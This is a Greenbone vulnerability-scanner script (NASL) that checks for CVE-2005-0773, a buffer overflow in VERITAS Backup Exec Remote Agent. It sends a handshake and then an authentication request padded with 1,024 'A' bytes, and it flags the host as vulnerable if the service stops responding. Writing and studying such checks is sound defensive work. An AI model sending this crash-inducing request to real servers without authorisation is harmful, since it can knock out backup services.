VERITAS Backup Exec Remote Agent Windows Servers BOF Vulnerability

# SPDX-FileCopyrightText: 2012 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.802985");
  script_version("2026-06-11T07:15:11+0000");
  script_cve_id("CVE-2005-0773");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_tag(name:"last_modification", value:"2026-06-11 07:15:11 +0000 (Thu, 11 Jun 2026)");
  script_tag(name:"creation_date", value:"2012-10-15 10:32:37 +0530 (Mon, 15 Oct 2012)");
  script_name("VERITAS Backup Exec Remote Agent Windows Servers BOF Vulnerability");
  script_category(ACT_DENIAL);
  script_copyright("Copyright (C) 2012 Greenbone AG");
  script_family("Buffer overflow");
  script_dependencies("find_service.nasl", "os_detection.nasl");
  script_require_ports(10000);
  script_mandatory_keys("Host/runs_windows");

  script_xref(name:"URL", value:"http://secunia.com/advisories/15789");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/14022");
  script_xref(name:"URL", value:"http://securitytracker.com/id?1014273");
  script_xref(name:"URL", value:"http://www.kb.cert.org/vuls/id/492105");
  script_xref(name:"URL", value:"http://www.us-cert.gov/cas/techalerts/TA05-180A.html");
  script_xref(name:"URL", value:"http://archives.neohapsis.com/archives/vulnwatch/2005-q2/0073.html");

  script_tag(name:"impact", value:"Successful exploitation will allow attackers to overflow a buffer and
  execute arbitrary code on the system.");
  script_tag(name:"affected", value:"Veritas Backup Exec Remote Agent versions 9.0 through 10.0 for Windows Servers");
  script_tag(name:"insight", value:"The flaw is due to insufficient input validation on CONNECT_CLIENT_AUTH
  requests. CONNECT_CLIENT_AUTH requests sent with an authentication method type
  '3' indicating Windows user credentials, and an overly long password argument
  can overflow the buffer and lead to arbitrary code execution.");
  script_tag(name:"solution", value:"Upgrade to Veritas Backup Exec Remote Agent 10.0 rev. 5520 for Windows Servers");
  script_tag(name:"summary", value:"VERITAS Backup Exec Remote Agent for Windows Servers is prone to a buffer overflow vulnerability.");

  script_tag(name:"qod_type", value:"remote_analysis");
  script_tag(name:"solution_type", value:"VendorFix");

  exit(0);
}

include("host_details.inc");

port = 10000;

if(!get_port_state(port)){
  exit(0);
}

soc = open_sock_tcp (port);
if(!soc){
  exit(0);
}

buf = recv(socket:soc, length:40);
if(!buf || hexstr(buf) !~ "^80000024")
{
  close(soc);
  exit(0);
}

req = raw_string(0x80, 0x00, 0x00, 0x1C, 0x00, 0x00, 0x00, 0x01,
                 0x42, 0xBA, 0xF9, 0x91, 0x00, 0x00, 0x00, 0x00,
                 0x00, 0x00, 0x09, 0x00, 0x00, 0x00, 0x00, 0x00,
                 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03);

send(socket:soc, data:req);
buf = recv(socket:soc, length:32);

if(!buf || hexstr(buf) !~ "^8000001c")
{
  close(soc);
  exit(0);
}

req = raw_string(0x80, 0x00, 0x04, 0x3E, 0x00, 0x00, 0x00, 0x02,
                 0x42, 0xBA, 0xF9, 0x91, 0x00, 0x00, 0x00, 0x00,
                 0x00, 0x00, 0x09, 0x01, 0x00, 0x00, 0x00, 0x00,
                 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03,
                 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00,
                 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00) +
                 crap(data:"A", length:0x400) +
                 raw_string (0x00, 0x00, 0x00, 0x04, 0x04);

send(socket:soc, data:req);

close(soc);

sleep(5);

soc = open_sock_tcp(port);
if(!soc)
{
  security_message(port);
  exit(0);
}

close(soc);